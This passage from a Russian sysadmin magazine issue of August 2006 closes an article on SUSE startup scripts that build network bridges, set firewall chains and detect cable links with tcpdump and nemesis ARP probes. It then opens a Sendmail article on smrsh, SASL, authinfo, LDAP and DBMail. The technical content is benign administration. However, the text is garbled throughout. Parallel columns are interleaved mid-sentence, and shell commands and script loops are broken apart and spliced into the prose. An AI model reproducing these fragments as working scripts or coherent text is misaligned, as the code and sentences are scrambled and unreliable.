В точке 2 (см. рис. 3) отработает boot.udev, который по стандартным зависимостям выполняется после boot.local, и настроит необходимое для работы службы udev. И теперь в точке 3 (см. рис. 3) все готово для создания виртуальных устройств сетевых мостов. Этим будет заниматься специальный стартовый скрипт bridgeprep. Полный его текст, точно так же, как тексты всех используемых здесь программ, размещается в прилагаемом архиве [3]. Все стартовые скрипты SUSE пишутся согласно стандартному шаблону /etc/init.d/skeleton. Поэтому отмечу лишь актуальные и системно-зависимые части. Во-первых, в самом начале создается управляющая секция согласно LSB: ### BEGIN INIT INFO # Provides: # Required-Start: # Required-Stop: # Default-Start: # Default-Stop: # Short-Description: # Description: ### END INIT INFO
bridgeprep boot.udev boot.udev 2 3 5 Ethernet bridge Start Bridge to allow configure Bridge device
Здесь задается специальный идентификатор – bridgeprep, который позволит ссылаться на этот скрипт из управляющих секций других скриптов, далее указывается очередность – после boot.udev, и уровни выполнения, в которые скрипт включается по умолчанию. Если скрипт с такой управляющей секцией установить командой «chkconfig bridgeprep on», то он будет включен в уровни 2, 3, 5 на любое свободное место очередности в стартовой последовательности после boot.udev, а в стоповой – до boot.udev. Во-вторых, проверяется программное окружение и настраиваются внутренние переменные:
21
администрирование # Check for missing binaries # (stale symlinks should not happen) BRIDGE_BIN=/sbin/brctl test -x $BRIDGE_BIN || ( echo "not found $BRIDGE_BIN" ; ↵ exit 5 ) # Check for existence of needed config file and read it BRIDGE_CONFIG=/etc/sysconfig/bridge test -r $BRIDGE_CONFIG || ↵ ( echo "not found $BRIDGE_CONFIG" ; exit 6 ) . $BRIDGE_CONFIG
всех устройств в команде brctl addbr $i. Дополнительно для каждого сетевого моста можно задать несколько параметров в формате BRIDGE_парамет_имя, например, так: BRIDGE_FD_eth0=0 BRIDGE_HELLO_eth0=0 BRIDGE_STP_eth0=off
Если параметр определен в файле конфигурации /etc/sysconfig/bridge, то производится его настройка для соответствующего виртуального устройства. Поскольку все наши сетевые мосты будут использоваться исключительно как средства виртуализации, то представленные выше значения для FD, HELLO и STP, а именно 0,0 и off, надо указать для каждого сетевого моста в обязательном порядке. Как видите, все очень просто. Новый стартовый скрипт надо установить принятым в SUSE способом:
Отсутствие brctl или собственных управляющих файлов скрипта приведет к аварийному завершению его работы. В этом же фрагменте производится чтение управляющего файла, который стандартно располагается в /etc/sysconfig c совершенно неоригинальным именем bridge и представляет собой просто список переменных с присваиваемыми им значениями, заданный в формате командной оболочки bash. Это тоже совершенно стандартное решение для по# cp bridgeprep /etc/init.d добных системных параметров, и их задание и модифика# ln –s /etc/init.d/bridgeprep /sbin/rcbridgeprep цию можно производить как из консоли с помощью редак# chkconfig bridgeprep on тора, так и используя оснастку в YaST. Содержание файла /etc/sysconfig/bridge будем рассматривать синхронно с коПосле выполнения данного скрипта в процессе старта системы будут созданы сетевые мосты, и их можно будет дом, его использующим. В-третьих, небольшая характерная для SUSE «косме- «поднять», как и другие сетевые устройства, с помощью стандартного скрипта network, на рис. 3 пункт 4. Но надо тическая добавка»: непременно указать, чтобы скрипт network выполнялся пос# Shell functions sourced from /etc/rc.status: ле скрипта bridgeprep. Для этого в дистрибутивном скрипте . /etc/rc.status подправим одну строку в управляющей секции LSB: # Reset status of this service rc_reset
Это позволит отражать результат работы скрипта в протоколе так, как принято для скриптов SUSE. Ну и, наконец, актуальная часть. Рассмотрим только стартовую ветку оператора case. Все остальное работает точно таким же образом. Вот часть кода, отвечающего за старт: case "$1" in start) echo "Starting bridge " for i in ${BRIDGE_LIST} ; do $BRIDGE_BIN addbr $i P="BRIDGE_FD_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵ && $BRIDGE_BIN setfd $i $P P="BRIDGE_HELLO_$i" ; P=${!P} [ "1$P" != "1" ] && $BRIDGE_BIN sethello $i $P P="BRIDGE_STP_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵ && $BRIDGE_BIN stp $i $P done $BRIDGE_BIN show echo -n # Remember status and be verbose rc_status -v ;;
Предполагаю, что вы знакомы с синтаксисом языка сценариев bash, если нет, то подробности можно почерпнуть в отличном руководстве [4]. В указанном программном фрагменте используются косвенные ссылки. Сначала в переменной BRIDGE_LIST задается список сетевых мостов, которые будут созданы, например, так: BRIDGE_LIST="eth0 eth1 eth2 eth3"
Переменная $i «пробегает» в цикле все значения из этого списка и применяется для последовательного создания
22
# Required-Start: $local_fs bridgeprep
где укажем, что работа скрипта network теперь зависит еще и от bridgeprep. Таким образом, при очередной перенастройке местоположения network в стартовой последовательности «chkconfig network off : chkconfig network on», этот скрипт займет правильное положение согласно рис. 3. Если до запуска network в основном происходит настройка локальных сервисов, то после network будут запущены все сетевые устройства независимо от состояния внешних линий, и можно смело запускать также и сетевые сервисы... – все равно ни один из них не будет доступен снаружи. Полностью сервер подключится к сети лишь после отработки скрипта bridgeup (пункт 5, рис. 3). Этот скрипт, отмеченный на рисунке голубым контуром, является нестандартным дополнением и построен аналогично рассмотренному ранее bridgeprep. Но у него уже иная стартовая зависимость: # Required-Start:
random bridgeprep network
И, конечно же, иной алгоритм работы. Этот скрипт производит сборку сетевых мостов, то есть подключение к ним физических устройств. Полностью его работу рассмотрим в следующем разделе, а сейчас приведу лишь фрагмент, производящий статическую сборку: for i in ${BRIDGE_LIST} ; do eval j=\$BRIDGE_DEVS_$i if [ "1$j" != "1" ] ; then # static device list for k in $j ; do [ "1$k" != "1" ] && {
администрирование
...
done else
$BRIDGE_BIN addif $i $k BRIDGE_POOL=`remove_dev $k` }
Здесь все очевидно – если надо включить некоторые устройства в нужный мост, то в /etc/sysconfig/bridge записывается: BRIDGE_DEVS_eth0="hweth0 hweth2"
И два физических интерфейса с именем hweth0 и hweth2 будут добавлены командой brctl addif к мосту eth0. Этот скрипт тоже должен быть установлен тем же способом, что и предыдущий. Подведем итоги. Цена всей доработки стартовой схемы, как и обещано, два нестандартных скрипта и небольшая правка в network. После этого все начинает функционировать по-новому, так, как планировалось в [1]. Отдельно опишу, как решаются проблемы с настройкой сетевых экранов. Итак, после boot.local во всех цепочках уничтожаются все пакеты кроме следующих через lo. И в промежутке от пункта 1 и вплоть до пункта 5 на рис. 3 можно делать с сетевым экраном что угодно. Это никак не отразится на работе сервера и его служб, если все реальные сетевые устройства настроены как 0.0.0.0, а все виртуальные еще не подключены ни к одному реальному. Поэтому предлагается настройки сетевого экрана выполнять для каждого интерфейса синхронно с его включением скриптом network, а точнее, программой ifup. Как уже было написано в начале, в каждый файл параметров сетевого интерфейса добавляются дополнительные настройки, например: POST_UP_SCRIPT='/etc/fw/fw-on-internet' POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'
И соответствующие скрипты будут вызываться на выполнение сразу после поднятия интерфейса и после его отключения. Сам сетевой экран надо строить по схеме, аналогичной используемой для устройства lo: 1. Создаются подцепочки для каждой основной цепочки iptables. Например inputeth0 для INPUT и устройства eth0. 2. Затем они наполняются нужными правилами, завершаемыми правилом с целью DROP. 3. И лишь после того в начало основной цепочки добавляется переход на созданный фильтр с квалификатором (опцией, фильтрующей трафик по принадлежности к интерфейсу). Подобная схема полностью исключает возможности конфликтной или недостаточной фильтрации, так как за каждый интерфейс отвечает лишь одно правило в основной цепочке и собственная подцепочка фильтра, завершаемая правилом с целью DROP, то есть не теряющая правила ни в каком случае. Два последних скрипта в стартовой последовательности (см. рис. 3), network и bridgeup, можно останавливать и запускать независимо от всего остального. Но, к сожалению, нет штатного способа указать, что перед оста-
№8, август 2006
Рисунок 4. Сетевая разметка тестового сервера
новкой network надо остановить bridgeup и, соответственно, после запуска network не забыть запустить и bridgeup. А так как здесь идет речь о минимальном вмешательстве в системные скрипты, то ограничимся тем, что просто запомним эту взаимосвязь.
Адаптивная коммутация Теперь выполнены почти все обещания из первой части [1]. Но есть еще одно важное и пока не реализованное преимущество схемы виртуализации – соединение виртуальных устройств с реальными, согласно фактически произведенной внешней коммутации. Иначе говоря, в ходе выполнения bridgeup сервер должен проверить соответствие реальных подключений планируемым. Разберем это на конкретном примере. Безусловно, пример не идеален, так как он специфичен моей практике. Но описанные методы позволят построить вам собственную схему и для других условий работы сервера. Далее все буду описывать согласно рис. 4. Итак, есть сервер с четырьмя сетевыми картами, названными hweth0-4. Есть три внешних кабельных подключения (розовые квадраты) – локальная сеть (LOCALNET), основной ISP, подключенный через ADSL, и дополнительное подключение к региональной сети (MAN ISP), где провайдер использует DHCP. Внутри сервера создаются тоже четыре сетевых интерфейса (голубые квадраты). Первый – для работы с локальной сетью (LOCALNET). Второй – как виртуальная внутренняя сеть для связи виртуальных же машин (CLUSTERNET). Третий – для соединения с ADSL-модемом (ADSL ISP). И четвертый для подключения к региональному провайдеру (MAN ISP). Задача заключается в том, что операционная система, стартующая на этом сервере, не «знает», как на са-
23
администрирование мом деле произведена коммутация внешних соединений, из-за отсутствия трафика вообще, или из-за того, что нельзя но должна это «выяснить» «на лету» и, соответственно, на- гарантированно в течение времени прослушивания полустроить сетевые мосты. А иначе, спрашивается, зачем мы чить уверенный отклик, приходится прибегать к способам все это затевали? активного тестирования кабельных подключений. Вся работа будет производиться в скрипте bridgeup в саИтак, если слушать нечего или невозможно, тогда остамом завершении стартовой последовательности (рис. 3). ется «спросить» у сети что-то конкретное. Как принято выВсе интерфейсы уже подняты и сетевые экраны уже на- яснять наличие или отсутствие сетевых хостов – с помостроены (красная пунктирная линия на рис. 4). И вот те- щью icmp. Но у нас еще нет скоммутированных соединеперь вопрос – есть ли способ узнать, что «на кабеле» в та- ний, и такое высокоуровневое средство не подходит, так как ком состоянии, когда физические интерфейсы еще не вклю- обмен посылками icmp является достаточно многоступенчены в мосты? чатым процессом. Нам придется выбрать что-то попроще. Ну, конечно же, всем известная утилита tcpdump поз- Самое простое – arp-запрос. Только сформировать его наволит «прослушать» такие интерфейсы. Если вызвать до будет не штатной утилитой, так как сервер еще реальее как «tcpdump -ln -i hweth0», то можно получить прото- но не подключен к сетевым соединениям. Для таких целей кол всех «пойманных» там пакетов и по характеру тра- прекрасно подходит утилита nemesis [5]. Можно взять гофика понять, какой провод воткнут в джек сетевой кар- товый бинарный пакет [6] и установить его в систему. Arpты hweth0. Точно так же, как это можно сделать взглядом, запрос позволит узнать о существовании в сетевой среможно и просчитать через grep по сохраненному протоко- де, подключенной к исследуемому интерфейсу, некоторолу работы этой утилиты за некоторое контрольное время. го хоста, отвечающего по требуемому адресу. При этом заНапример, если мы знаем, что в локальной сети у нас ис- прос отправляется в стиле «скажите хосту с адресом1, капользуется сетевой коммутатор, работающий по протоко- кой физический адрес имеет хост с адресом2». Очень удоблу STP, то даже в «пустой» сети можно поймать периоди- но то, что подобный запрос практически никогда не блочески рассылаемые сообщения, содержащие в расшиф- кируется, так как протокол ARP отвечает за самое низкоровке tcpdump подстроку «802.1d config». Такая проверка уровневое взаимодействие. В терминах утилиты nemesis реализована в скрипте check-tcpdump [3]. Скрипт, в свою это выглядит так: очередь, вызывается из bridgeup сразу после приведенноnemesis arp -d устройство -S адрес1 -D адрес2 го выше фрагмента как альтернатива, вызываемая по условию else, если отсутствует строка статического задания сборки моста: Вызов nemesis добавляется между запуском tcpdump и отсчетом контрольного времени. После прекращения проeval j=\$BRIDGE_TCPDUMP_$i слушивания надо точно также профильтровать результат if [ "1$j" != "1" ] ; then расшифровки трафика tcpdump. Но только образец для по# check tcpdump L="" иска будет иной, а именно «arp reply адрес2 is-as». Все это for k in ${BRIDGE_POOL} ; do выполняется скриптом check-arp [3]. n=`${BRIDGE_CHK_TCPDUMP} $k "$j" | grep BINGO` [ "1$n" != "1" ] && { Теперь для настройки надо лишь определить хост, на$BRIDGE_BIN addif $i $k личие которого будет со всей определенностью указыL="$L $k" } вать на нужную сетевую среду. Например, если сетевой done мост eth2 должен быть подключен к модему ADSL с адреfor k in $L ; do BRIDGE_POOL=`remove_dev $k` сом 10.0.0.2 (рис. 4, зеленая стрелка), то в настройку доdone бавляем строку: else Как уже видно, за эту ветку настройки отвечает специальная строка конфигурации сетевого моста: BRIDGE_TCPDUMP_eth0="802.1d config"
Если она определена, то скрипт перебирает все устройства, оставшиеся в списке незанятых (BRIDGE_POOL), и проверяет протокол перехваченного tcpdump трафика с помощью check-tcpdump на совпадение с заданным образцом. Безусловно, выбор правильного и эффективного образца для сравнения всецело на совести системного администратора, производящего настройку, так как бывают сети с чрезвычайно замусоренным трафиком. Например, данная строка поиска работала до тех пор, пока в сети MAN не был подключен аналогичный коммутатор, как и в локальной сети. Тогда пришлось заменить контрольный образец на более подробный «802.1d config 8000.00:11:d8:cb:df:99.8001», содержащий MAC-устройства. И именно по этой причине или
24
BRIDGE_ARP_eth2="10.0.0.1 10.0.0.2"
Очередной фрагмент кода bridgeup, отвечающий за следующую альтернативу else, вызываемую в отсутствие других настроек, проверит существование переменной BRIDGE_ARP-устройство и произведет соответствующую проверку оставшихся в списке BRIDGE_POOL-устройств в поиске подходящего: eval j=\$BRIDGE_ARP_$i if [ "1$j" != "1" ] ; then # check arp L="" for k in ${BRIDGE_POOL} ; do n=`${BRIDGE_CHK_ARP} $k $j | grep BINGO` [ "1$n" != "1" ] && { $BRIDGE_BIN addif $i $k L="$L $k" } done for k in $L ; do BRIDGE_POOL=`remove_dev $k`
администрирование
fi
fi
done fi
После того как только кабели снова были возвращены на старые места и перезапущен bridgeup, все пришло в норму:
В нашем случае других проверок не предусматривается и приведенный ваше блок закрывает все операторы if, но пытливый и изобретательный читатель может продолжить настройки, если так будет требоваться конкретной задачей. Вот как это действует на практике. После старта системы, если кабельные подключения соединены согласно рис. 4, то запрос статуса соединения виртуальных устройств покажет следующее (листинг приведен с сокращениями): # rcbridgeup status Checking for service bridge running bridge name bridge id STP enabled interfaces eth0 8000.000479661b70 no hweth1 eth1 8000.000000000000 no eth2 8000.001022ff43d7 no hweth0 eth3 8000.00xxxxxxxxxx no hweth3 eth0 Link encap:Ethernet HWaddr 00:04:79:66:1B:70 inet addr:192.168.0.9 Bcast:192.168.0.255 Mask:255.255.255.0 ... eth1 Link encap:Ethernet HWaddr 00:00:00:00:00:00 inet addr:192.168.254.1 Bcast:192.168.254.255 Mask:255.255.255.0 ... eth2 Link encap:Ethernet HWaddr 00:10:22:FF:43:D7 inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0 ... eth3 Link encap:Ethernet HWaddr 00:XX:XX:XX:XX:XX inet addr:172.16.YY.YY Bcast:172.16.255.255 Mask:255.255.0.0 ...
Интерфейс eth3 уже успел получить адрес через DHCP (и адрес, и MAC скрыты, так как их можно легко использовать для спуфинга в MAN). Затем изменяем коммутацию случайным образом. Чтобы система «почувствовала» это изменение, в нашем случае надо перезапустить bridgeup вручную, поскольку нам достаточно правильно настроить сеть после включения устройства. Но можно настроить периодический контроль, если персонал в серверной имеет привычку к спонтанной перекоммутации кроссов. # rcbridgeup status Disassemble bridgies bridge name bridge id eth0 8000.000000000000 eth1 8000.000000000000 eth2 8000.000000000000 eth3 8000.000000000000 # rcbridgeup start Assemble bridgies eth0 eth1 eth2 eth3 Hardware pool hweth0 hweth1 hweth2 hweth3 bridge name bridge id eth0 8000.00xxxxxxxxxx eth1 8000.000000000000 eth2 8000.0011d8956c2e eth3 8000.000000000000 Free NICs hweth0 hweth1
STP enabled no no no no
STP enabled no no no no
interfaces
done
interfaces hweth3 hweth2 done
Процесс отключения происходит совершенно безупречно, а вот при подключении не обнаруживается соединение с MAN, так как в используемой сети применяется контроль по MAC, а разрешенное к применению устройство hweth3 было уже задействовано для связи с локальной сетью. И теперь уже две сетевые карты остались незадействованными. Таким образом, система предотвратила недопустимое соединение.
№8, август 2006
# rcbridgeup stop ... # rcbridgeup Assemble bridgies eth0 eth1 eth2 eth3 Hardware pool hweth0 hweth1 hweth2 hweth3 bridge name bridge id eth0 8000.000479661b70 eth1 8000.000000000000 eth2 8000.001022ff43d7 eth3 8000.00xxxxxxxxxx Free NICs hweth2
STP enabled no no no no
interfaces hweth1 hweth0 hweth3 done
Заключение Вот и все – запланированные цели достигнуты. Но полученное несколько больше простого технического приема. Таким образом создается независимая сетевая архитектура сервера. Или, говоря иначе, создается дополнительный слой виртуализации, что позволяет унифицировать так же и все настройки, основанные на сетевых параметрах, для систем, расположенных выше данного слоя. Максимальный выигрыш получается при использовании виртуальных серверов. Так как миграция, а также и создание, и резервирование, и восстановление их требует единства внутрисервернной среды. Подробнее тема сетевой архитектуры будет рассмотрена в статьях, посвященных виртуальным серверам. Несколько неожиданным может показаться еще один вывод. Описанное адаптивное поведение сетевой системы по отношению к внешней коммутации, кроме простого сохранения правильных настроек сетевого экрана, может привести и к философским выводам. Если считать линии коммуникации для компьютера эквивалентом органов осязания, то управление этими органами является необходимым минимумом интеллектуальности. Если бы сетевые розетки были снабжены манипуляторами, ничего бы не удивляло. Но здесь получается, что и без механического приспособления компьютер под управлением Linux может «сам» выбрать правильное подключение. Иначе говоря, может скомпенсировать ошибку оператора или техника. То есть мы сделали компьютер немного умнее, «научив» его «видеть» и менять интерфейсное подключение программным способом. 1. Барабанов А. Современный Linux-сервер: виртуализируем сетевые устройства. //Системный администратор, №6, 2006 г. – С. 10-17. 2. Daniel Drake. Writing udev rules – http://www.reactivated.net/ writing_udev_rules.html. 3. Архив исходных текстов к статье – http://www.barabanov.ru/arts/ modernserver/netsrc.tgz. 4. Advanced Bash-Scripting Guide. Искусство программирования на языке сценариев командной оболочки. Версия 2.5 (15 февраля 2004 г.). Автор: Mendel Cooper (thegrendel at theriver dot com). Перевод: Андрей Киселев (kis_an at mail dot ru) – http:// gazette.linux.ru.net/rus/articles/abs-guide/index.html. 5. Nemesis packet injection utility – http://www.packetfactory.net/ projects/nemesis. 6. Бинарная сборка nemesis для SUSE – http://www.barabanov.ru/ arts/modernserver/nemesis-1.4beta3-1ab.i586.rpm.
25
администрирование
Как работает Sendmail? Полезные подробности Часть 4: Взаимодействие со сторонними программами Гуртом і батька добре бити. Мудрость братского народа
Сергей Супрунов Как бы ни был гибок и функционален Sendmail, его возможностей не всегда хватает для решения всего многообразия задач. Но открытость ПО тем и хороша, что позволяет наращивать мощь практически без ограничений.
Защиты не бывает много
но найти в статье «Практикум Python: лочке, но есть возможность вносить Sendmail, как было показано в предыду- обрабатываем входящую электронную изменения в .forward-файл через вебинтерфейс). Конечно, Sendmail снижащих частях статьи (№ 5, 6, 7 за 2006 г.), почту» (№2 за 2006 г.). Однако здесь скрывается потенци- ет до минимума негативные последспозволяет, используя файл aliases или пользовательские .forward-файлы, пе- альная проблема безопасности – если твия этой возможности, запуская проренаправлять входящие сообщения у пользователя будет возможность са- цесс, выполняющий такую обработна обработку сторонними программа- мостоятельно указывать любые про- ку, от имени пользователя-владельца ми. Сам механизм достаточно прост: граммы в качестве обработчиков поч- .forward-файла. Но нельзя забывать, письмо в исходном формате поступа- ты, то всегда остаётся вероятность, что в системе могут быть исполняеет на стандартный вход (stdin) указан- что он воспользуется этим для несан- мые файлы, на которые установлен бит ной программы или скрипта, который кционированного вызова програм- suid, что в ряде случаев может привесв дальнейшем занимается его обра- мы, к которой в нормальных условиях ти к печальным последствиям... Д л я р е ш е н и я это й п р о бл е м ы боткой. Несложный пример реализа- у него нет доступа (например, не преции такого сценария на Python мож- доставляется доступ к командной обо- Sendmail можно настроить на работу
26
администрирование Cyrus SASL Механизм аутентификации SASL (Simple Authentication and Security Layer) используется для реализации безопасной аутентификации в связке с другими интернет-протоколами. Помимо аутентификации, SASL предоставляет механизмы проверки целостности данных. Одной из наиболее популярных реализаций SASL является библиотека Cyrus
SASL. Будучи разработанной для нужд Cyrus IMAP Server, она широко используется и для других задач, включая SMTP-аутентификацию. Cyrus SASL под держивает широ кий набор механизмов аутентификации – CRAM-MD5, DIGEST-MD5, Kerberos, GSSAPI (спецификация Kerberos 5). При необходимости может быть разрешена поддержка механизмов «плоской» аутентификации,
с «ограниченной оболочкой» (restricted shell for sendmail) – smrsh. Особенностью этой оболочки является то, что она позволяет запускать программы только из своего каталога, в системах FreeBSD по умолчанию это /usr/libexec/sm.bin (изменить можно перекомпиляцией утилиты с флагом -DSMRSH_CMDDIR). Как это работает, лучше всего посмотреть на примере (после ключа -c указывается имя выполняемой программы): # pwd /usr/libexec/sm.bin
# ls -l total 0 lrwxr-xr-x 1 root wheel 18 29 июн 10:13 thetest -> /home/serg/test.sh lrwxr-xr-x 1 root wheel 10 29 июн 10:01 w -> /usr/bin/w
# /usr/libexec/smrsh -c w 10:01AM up 20 days, 21:44, 1 user, load averages: 0.00, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE WHAT serg p0 curs3.myserver. 8:48AM - /usr/libexec/sm.bin/w
# /usr/libexec/smrsh -c who /usr/libexec/smrsh: "who" not available for sendmail programs (stat failed)
# /usr/libexec/smrsh -c thetest Smrsh test
Как видите, smrsh позволяет исполнять только те программы, ссылки на которые (или сами двоичные файлы) размещены в /usr/libexec/sm.bin. Это же относится и к скриптам – достаточно указать ссылку на скрипт, делать ссылку на интерпретатор не требуется. При желании вы можете использовать любое имя программы – будет использоваться имя ссылки, а не первоначальное имя «бинарника». Чтобы Sendmail использовал для обработки перенаправлений эту оболочку, а не стандартную sh, добавьте в mcфайл такую строку: FEATURE(smrsh)
Любители править cf-файл могут заменить имя программы в строке Mprog, т.е. вместо «Mprog, P=/bin/sh . . . » использовать «Mprog, P=/usr/libexec/smrsh . . . ».
Вход только по пропускам Если для всех ваших пользователей предусматривается работа только из вашей подсети (или в крайнем случае су-
№8, август 2006
таких как LOGIN и PLAIN, однако их рекомендуется использовать только при работе по защищённому соединению. Для выполнения ау тентификации используется входящий в состав Cyrus SASL демон saslauthd. Он умеет проводить проверку пароля как по собственной базе, так и используя механизмы PAM, LDAP, системный файл паролей /etc/passwd, и т. д.
ществует ограниченный и стабильный список внешних сетей для доступа к почте), то задача ограничения режима ретрансляции почты, чтобы ваш MTA не стал «открытым релеем», решается довольно легко с помощью файла access. Но как только у вас появляются пользователи, которым нужно обеспечить возможность работы с их электронной почтой из любой точки мира, возникает определённая проблема. И наиболее приемлемым её решением будет использование аутентификации. Пожалуй, самой удобной методикой для Sendmail является использование SASL-аутентификации силами пакета SASL-Auth. По умолчанию Sendmail во FreeBSD собирается без поддержки SASL, в чём можно убедиться, подав такую команду: $ sendmail -d0.1 -bv
и внимательно изучив строчки «Compiled with» на предмет упоминания про SASL. Чтобы поддержка SASL в Sendmail появилась, нужно его пересобрать. Для этого у вас должны быть исходные коды системы. Последовательность действий такова: 1. Устанавливаем из портов security/cyrus-sasl2-saslauthd. Конфигурацию можно оставить по умолчанию. 2. В файле /usr/local/lib/sasl2/Sendmail.conf проверяем значение переменной pwcheck_method. По умолчанию она определена как saslauthd, что означает использование универсального демона и будет хорошим решением в большинстве случаев. 3. Редактируем /etc/make.conf, добавив туда несколько строк, которые будут использоваться при сборке системных программ: # Флаги SASL для Sendmail SENDMAIL_CFLAGS=-I/usr/local/include -DSASL=2 SENDMAIL_LDFLAGS=-L/usr/local/lib SENDMAIL_LDADD=-lsasl2 # Поддержка порта smtps для sendmail (если планируется) SENDMAIL_CFLAGS+= -D_FER_SMTP_SSL
Здесь мы указываем добавлять при компиляции Sendmail данные флаги, а также сообщаем программе make пути к необходимым библиотекам. 4. Теперь пересобираем Sendmail: # # # # # #
cd /usr/src/lib/libsmutil/ make clean && make depend && make cd ../libsm make clean && make depend && make cd /usr/src/usr.sbin/sendmail make clean && make depend && make && make install
27
администрирование Обязательно убедитесь, что предварительно установили пакет cyrus-sasl (см. пункт 1), иначе получите ошибку об отсутствии нужных библиотек. Кстати, чтобы эти библиотеки не приходилось отыскивать по всему диску, настоятельно рекомендуется ставить всё только из системы портов. Теперь в выводимой информации должно присутствовать упоминание SASLv2:
использовании которых будет разрешена пересылка почты (relaying), даже если адрес клиента не помечен в базе access как RELAY или OK.
Ребята! Да я же свой!
Иногда может возникнуть ситуация, когда ваш сервер, для того, чтобы передать куда-то сообщение, сам должен будет пройти аутентификацию. Например, это вполне обычная ситуация, если ваш MTA работает исключительно че$ sendmail -d0.1 -bv рез сервер провайдера, а провайдер не желает тратить силы на добавление вашего хоста в список доверенных, наVersion 8.13.6 Compiled with: . . .SASLv2 . . . стаивая на обязательном прохождении всеми клиентами процедуры проверки подлинности. Для этого существует файл authinfo, который подклюЭто означает, что осталось подкорректировать при необходимости конфигурацию Sendmail, и можно проверять чается таким образом: работу системы. Первое, что может потребовать настройFEATURE(`authinfo', `hash -o /etc/mail/authinfo') ки, это список разрешённых методов аутентификации. То, что у вас получилось сразу после перекомпиляции, можно узнать, подключившись с помощью telnet на 25-й порт В указанном файле прописываем параметры аутентии введя команду EHLO: фикации на нужные серверы в следующем формате: $ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 server.ru ESMTP Sendmail 8.13.6/8.13.6; Thu, 13 Jul 2006 14:27:45 +0400 (MSD) EHLO me 250-server.ru Hello localhost [127.0.0.1], pleased to meet you 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-SIZE 12500000 250-DSN 250-AUTH GSSAPI DIGEST-MD5 CRAM-MD5 250-DELIVERBY 250 HELP
AuthInfo:servak.de "U:<username>" "I:<identity>" ↵ "P:<password>" "M:LOGIN PLAIN"
Здесь servak.de – имя удалённого сервера, которому нужно будет предоставить аутентификационную информацию. В ключе M указываются методы, которые должны при этом использоваться. Не забудьте создать хэш этого файла.
LDAP – путь к единению
В крупных корпоративных сетях довольно часто используются базы LDAP для хранения информации о пользователях этих сетей. И было бы весьма разумно воспользоваться этим механизмом для хранения некоторой конфигураТретья с конца строка как раз и отображает поддержи- ционной информации вашего почтового сервера. Sendmail поддерживает возможность работы с LDAP-баваемые механизмы аутентификации. Изменить их список можно с помощью следующих директив: зой, позволяя вам использовать службу каталогов вместо файлов access, aliases и т. д. Правда, так же, как и в случае TRUST_AUTH_MECH(`DIGEST-MD5 LOGIN PLAIN')dnl с SASL, во FreeBSD он собран без поддержки LDAP. Вклюdefine(`confAUTH_MECHANISMS', `DIGEST-MD5 LOGIN PLAIN')dnl чается эта поддержка аналогично: Во второй строке перечисляются поддерживаемые ме- 1. Устанавливаем из портов openldap-client или openldapserver (если LDAP-сервера у нас ещё нет и мы хотим заханизмы вообще, в то время как первой директивой мы определяем список «доверенных» механизмов, т.е. тех, при пустить его на этой же машине).
LDAP Lightweight Directory Access Protocol – облегчённый протокол доступа к каталогам – это протокол, призванный обеспечить работу так называемой службы каталогов. Службы каталогов используются для централизованного хранения различной информации, такой как пользовательские учётные записи, адресные книги, различные настройки. Первоначально служба каталогов (определённая в протоколе X.500) была ориентирована на обслуживание почтовых сетей стандарта X.400, разработанного OSI. Для доступа к этой службе использовался
28
протокол DAP, который и послужил основой для разработки более простого и удобного в работе LDAP. Записи, хранящиеся в ката лога х LDAP, представлены уникальными именами (distinguished name) и рядом атрибутов, определяемых в так называемых схемах. Структура записей позволяет легко организовать записи в виде дерева. Основным преимуществом LDAP перед «плоскими» файлами или реляционными базами данных является ориентированность на высокую скорость чтения. С учётом очень эффективного кэширования, использование LDAP, помимо централизации
информации, что упрощает её сопровождение (включая резервирование), позволяет также снизить задержки при получении информации, если объёмы данных достигают значительных величин. Помимо свободной реализации службы каталогов – OpenLDAP, широко используемой в системах семейства UNIX/Linux, существует ряд других (например, Active Directory, предназначенная для управления сетями Windows). Сам протокол LDAP определён в RFC 1777, RFC 2251 (версия 3). Существует также большое число расширяющих и дополняющих документов.
администрирование DBMail Программа DBMail, разработка которой осуществляется двумя датскими фирмами – IC&S и NFG, позволяет организовать хранилище пользовательских почтовых ящиков в базе данных общего назначения. Поддерживаются MySQL и PostgreSQL (в версии 2.2 ожидается добавление к этому списку и SQLite). Для небольших почтовых серверов, обслуживающих локальную сеть вашего предприятия, дополнительное звено в цепи «почтового обслуживания» пользователей лишь снизит надёжность и усложнит сопровождение системы, практически ничего не давая взамен. Однако на системах с большим числом
пользователей или там, где от почтовой системы требуется максимальная гибкость и возможность реализовать самые различные услуги (например, полнотекстовый поиск по всему почтовому ящику с использованием веб-интерфейса) хранение всех сообщений в БД даёт почти безграничные возможности. Например, DBMail очень легко позволяет задать максимальный размер почтового ящика (в случае использования традиционных хранилищ для этого приходится прибегать к системному механизму установки квот на файловую систему): его нужно просто указать в команде создания нового пользователя или изменения параметров его учётной записи:
2. Вносим изменения в /etc/make.conf: # Флаги LDAP для Sendmail SENDMAIL_CFLAGS+= -I/usr/local/include -DLDAPMAP SENDMAIL_LDFLAGS+= -L/usr/local/lib SENDMAIL_LDADD+= -lldap -llber
3. Пересобираем Sendmail, как было описано для SASL (см. пункт 4). Теперь уже знакомая нам команда должна вывести упоминание и про LDAP: # sendmail -d0.1 -bv root | grep LDAP Compiled with: . . . LDAPMAP . . . USE_LDAP_INIT . . .
Кстати говоря, если вы заодно хотите воспользоваться преимуществами самой последней версии Sendmail (дистрибутивная, как правило, отстаёт на один-два минорных номера), то можно не мучиться с перекомпиляцией, а поставить Sendmail из портов сразу с нужным набором функций. Благо, этого добра там хватает: $ make search name=sendmail | grep Port . . . . Port: sendmail-8.13.7_1 Port: sendmail+tls+sasl2+ldap-8.13.7_1 Port: sendmail+tls+sasl2-8.13.7_1 . . . .
После перекомпиляции (или установки) Sendmail проверьте в /usr/local/etc/openldap/slapd.conf, подключена ли схема sendmail.schema. Если нет, добавьте строку: include /usr/share/sendmail/cf/sendmail.schema
Эта команда подключит схему для Sendmail (где определены допустимые атрибуты записей), что необходимо для правильного заполнения нужных полей. Теперь осталось занести в каталог LDAP необходимые записи (как это сделать, смотрите в документации по LDAP; несколько полезных ссылок приведено в конце статьи) и до-
№8, август 2006
# dbmail-users -c vasya -m 100M
